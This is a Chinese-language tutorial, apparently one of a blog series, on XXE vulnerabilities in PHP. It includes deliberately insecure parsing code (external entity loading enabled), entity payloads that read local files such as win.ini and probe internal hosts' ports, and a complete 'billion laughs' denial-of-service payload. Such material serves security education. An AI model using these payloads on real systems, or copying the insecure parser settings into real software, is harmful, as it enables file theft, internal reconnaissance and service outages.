XXE前置要求
只有知道開發(fā)時(shí)如何生成,傳輸,使用XML文件才能夠知道如何進(jìn)行漏洞利用,代碼審計(jì),以及防范。
php生成XML文件
目標(biāo)將前端提交數(shù)據(jù)到后端來進(jìn)行生成XML

前端登錄測試頁面
<?php
header('Content-Type: text/xml;');
$dom = new DomDocument('1.0','utf-8');// 創(chuàng)建頭部聲明
$rootEle = $dom->createElement('userinfo');//創(chuàng)建根節(jié)點(diǎn)
$dom->appendChild($rootEle);//追加到DOM對象
$user = $_POST['user'];//追加元素
$userNode = $dom->createTextNode($user);
$line = $dom->createElement('user');//創(chuàng)建元素
$line->appendChild($userNode);
$rootEle->appendChild($line);//追加元素
$pass = $_POST['password'];//追加元素
$passNode = $dom->createTextNode($pass);
$line = $dom->createElement('password');//創(chuàng)建元素
$line->appendChild($passNode);
$rootEle->appendChild($line);//追加元素
$str = $dom->saveXML();//保存
echo $str;
?>
通過POST關(guān)鍵數(shù)據(jù)user和password到后端,進(jìn)行php生成xml
例如post數(shù)據(jù) user : test password : 123456

成功生成XML文件,并成功顯示
XML數(shù)據(jù)傳輸至后端解析

提交XML實(shí)體執(zhí)行
將xml代碼通過留言板的方式提交至后端,成功執(zhí)行DTD中聲明的實(shí)體
<?php
libxml_disable_entity_loader(false);
$data = isset($_POST['xxe'])?trim($_POST['xxe']):'';
$resp = '';
if($data != false){
$dom = new DOMDocument();
$dom->loadXML($data, LIBXML_NOENT);
ob_start();
var_dump($dom);
$resp = ob_get_contents();
echo $resp;
ob_end_clean();
}
其中的關(guān)鍵代碼libxml_disable_entity_loader(false);允許外部實(shí)體加載
XXE漏洞利用
- 任意文件讀取
為了能夠更好的理解,任意文件讀取的意思,我在網(wǎng)站同目錄下創(chuàng)建了標(biāo)志性的txt文本文件
1.txt文件內(nèi)容
通過修改實(shí)體內(nèi)容,修改為<!ENTITY content SYSTEM "./1.txt">
成功實(shí)現(xiàn)了txt文件讀取
為了證明文件讀取是可以在網(wǎng)站目錄范圍外,本次嘗試讀取非網(wǎng)站內(nèi)的文件windows系統(tǒng)存在的C:/Windows/win.ini文件。
通過外部實(shí)體讀取到關(guān)鍵文件C:/Windows/win.ini - 端口探測
這個(gè)漏洞利用,有點(diǎn)類似與SSRF,通過服務(wù)器來進(jìn)行內(nèi)網(wǎng)(攻擊者未獲得授權(quán))的服務(wù)器/個(gè)人電腦進(jìn)行端口掃描。
通過修改實(shí)體內(nèi)容,修改為<!ENTITY content SYSTEM "http://192.168.163.128">來探測80端口
成功探測到80端口開放
發(fā)現(xiàn)了相關(guān)標(biāo)簽,以及html中空格的 實(shí)體的警告,進(jìn)一步知道該端口有web服務(wù)運(yùn)行。
8080端口依舊開放
8888端口未開放
通過對其他端口的測試也發(fā)現(xiàn)了開放與未開放的不同之處。 -
執(zhí)行系統(tǒng)命令
要通過利用XXE漏洞執(zhí)行系統(tǒng)命令,需要一定的環(huán)境條件,需要安裝expect擴(kuò)展,詳細(xì)攻擊效果可參考加油站資料。
執(zhí)行系統(tǒng)命令,環(huán)境不存在導(dǎo)致無法執(zhí)行 - 發(fā)起Dos攻擊(又稱為XEE漏洞,XML實(shí)體膨脹)
由于自身Web服務(wù)原因,對于該項(xiàng)利用方式,不親自進(jìn)行演示,附上如下POC代碼,本身原理,就是通過實(shí)體的嵌套性使用導(dǎo)致
<?xml version = "1.0"?>
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ELEMENT lolz (#PCDATA)>
<!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">]>
<lolz>&lol9;</lolz>
加油站:
- 強(qiáng)烈推薦
騰訊安全應(yīng)急響應(yīng)中心發(fā)布的 未知攻焉知防——XXE漏洞攻防
安全客 【技術(shù)分享】XXE漏洞攻防之我見 - 對Dos攻擊方式的詳細(xì)解答 XXE注入攻擊與防御
- Freebuf Blind XXE詳解與Google CTF一道題分析
- AD攻防工作室 Xml 外部實(shí)體注入(xxe)
- 博客園 XML外部實(shí)體(XXE)注入詳解
第一篇:XML簡介(1)--頭部聲明
第二篇:XML編寫(2)--語法要求
第三篇:XML規(guī)范(3)--DTD限制
第四篇:XML引用(4)--DTD應(yīng)用
第五篇:XXE基礎(chǔ)(1)--實(shí)體類別
第七篇:XXE后記(3)--拋磚引玉






